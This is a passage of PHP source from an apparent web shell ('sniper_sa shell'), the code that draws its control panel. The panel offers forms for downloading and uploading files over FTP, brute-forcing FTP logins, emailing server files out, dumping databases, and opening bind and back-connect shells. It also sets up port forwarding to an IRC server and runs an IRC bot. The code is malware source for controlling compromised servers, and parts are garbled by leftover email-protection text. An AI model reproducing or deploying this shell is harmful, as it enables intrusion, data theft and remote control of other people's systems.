if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; }
if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; }
echo sr(15,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none',1).' '.$arh);
echo $te.''.$table_end1.$fe;
if(@function_exists("ftp_connect")){
echo $table_up1.div_title($lang[$language.'_text93'],'id17').$table_up2.div('id17').$ts."".$fs."".$ts;
echo "".$lang[$language.'_text87']."
".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
echo sr(25,"".$lang[$language.'_text38'].$arrow." ",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
"))));
echo sr(25,"".$lang[$language.'_text89'].$arrow." ",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down'));
echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
echo sr(25,"".$lang[$language.'_text90'].$arrow." ","FTP_BINARY FTP_ASCII ".$fe.$fs."".$ts;
echo "".$lang[$language.'_text100']."
".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))));
echo sr(25,"".$lang[$language.'_text37'].$arrow." ",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous"))));
echo sr(25,"".$lang[$language.'_text38'].$arrow." ",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
"))));
echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
echo sr(25,"".$lang[$language.'_text89'].$arrow." ",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up'));
echo sr(25,"".$lang[$language.'_text90'].$arrow." ","FTP_BINARY FTP_ASCII ".$fe."
";
}
if($unix && @function_exists("ftp_connect")){
echo $fs.$table_up1.div_title($lang[$language.'_text94'],'id18').$table_up2.div('id18').$ts;
echo sr(15,"".$lang[$language.'_text88'].$arrow." ",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
echo sr(15,"","".$lang[$language.'_text99']." ( ".$lang[$language.'_text95']." ) ");
echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']);
echo $te.''.$table_end1.$fe;
}
if(@function_exists("mail")){
echo $table_up1.div_title($lang[$language.'_text102'],'id19').$table_up2.div('id19').$ts." ".$fs."".$ts;
echo "".$lang[$language.'_text103']."
".$lang[$language.'_text105'].$arrow." ",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir));
echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
"))));
echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy"))));
echo sr(25,"".$lang[$language.'_text108'].$arrow." ",'');
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
echo $te." ".$fe.$fs."".$ts;
echo "".$lang[$language.'_text104']."
".$lang[$language.'_text105'].$arrow." ",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir));
echo sr(25,"".$lang[$language.'_text106'].$arrow." ",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
"))));
echo sr(25,"".$lang[$language.'_text107'].$arrow." ",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from sniper_sa shell"))));
echo sr(25,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',45,$dir));
echo sr(25,"".$lang[$language.'_text91'].$arrow." ",in('radio','compress',0,'none',1).' '.$arh);
echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15']));
echo $te." ".$fe."
";
}
if($mysql_on||$mssql_on||$pg_on||$ora_on)
{
$select = '';
if($mysql_on) $select .= 'MySQL ';
if($mssql_on) $select .= 'MSSQL ';
if($pg_on) $select .= 'PostgreSQL ';
if($ora_on) $select .= 'Oracle ';
$select .= ' ';
echo $table_up1.div_title($lang[$language.'_text82'],'id20').$table_up2.div('id20').$ts."".$fs."".$ts;
echo "".$lang[$language.'_text40']."
".$lang[$language.'_text80'].$arrow." ",$select);
echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
echo sr(35,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' . '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow." ",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));
echo $te." ".$fe.$fs."".$ts;
echo "".$lang[$language.'_text83']."
".$lang[$language.'_text80'].$arrow." ",$select);
echo sr(35,"".$lang[$language.'_text111'].$arrow." ",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' : '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
echo sr(35,"".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' : '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
echo sr(35,"".$lang[$language.'_text39'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
echo sr(35,"".$lang[$language.'_text84'].$arrow." ".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
echo $te."
".$fe."
";
}
if(!$safe_mode&&$unix){
echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."".$fs."".$ts;
echo "".$lang[$language.'_text9']."
".$lang[$language.'_text10'].$arrow." ",in('text','port',15,'9999'));
echo sr(40,"".$lang[$language.'_text11'].$arrow." ",in('text','bind_pass',15,'SnIpEr'));
echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".$fe.$fs."".$ts;
echo "".$lang[$language.'_text12']."
".$lang[$language.'_text13'].$arrow." ",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
echo sr(40,"".$lang[$language.'_text14'].$arrow." ",in('text','port',15,'80'));
echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".$fe.$fs."".$ts;
echo "".$lang[$language.'_text22']."
".$lang[$language.'_text23'].$arrow." ",in('text','local_port',15,'80'));
echo sr(40,"".$lang[$language.'_text24'].$arrow." ",in('text','remote_host',15,'irc.dalnet.ru'));
echo sr(40,"".$lang[$language.'_text25'].$arrow." ",in('text','remote_port',15,'6667'));
echo sr(40,"".$lang[$language.'_text26'].$arrow." ","datapipe.pl datapipe.c ".$fe."
";
}
if($unix){
echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts." ".$fs."".$ts;
echo "".$lang[$language.'_text9']."
".$lang[$language.'_text10'].$arrow." ",in('text','port1',35,'9999').ws(4).in('submit','submit',0,$lang[$language.'_butt3']));
echo $te." ".$fe."
";
echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."
".$fs."".$ts;
echo "".$lang[$language.'_text12']."
".$lang[$language.'_text214'].$arrow." ",in('text','ircadmin',15,'ircadmin'));
echo sr(40,"".$lang[$language.'_text215'].$arrow." ",in('text','ircserver',15,'ircserver'));
echo sr(40,"".$lang[$language.'_text216'].$arrow." ",in('text','ircchanal',15,'ircchanl'));
echo sr(40,"".$lang[$language.'_text217'].$arrow." ",in('text','ircname',15,'ircname'));
echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
echo $te." ".$fe.$fs."".$ts;
echo "".$lang[$language.'_text12']."
".$lang[$language.'_text13'].$arrow." ",in('text','ips',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
echo sr(40,"".$lang[$language.'_text14'].$arrow." ",in('text','ports',15,'80'));
echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl ".$fe." 
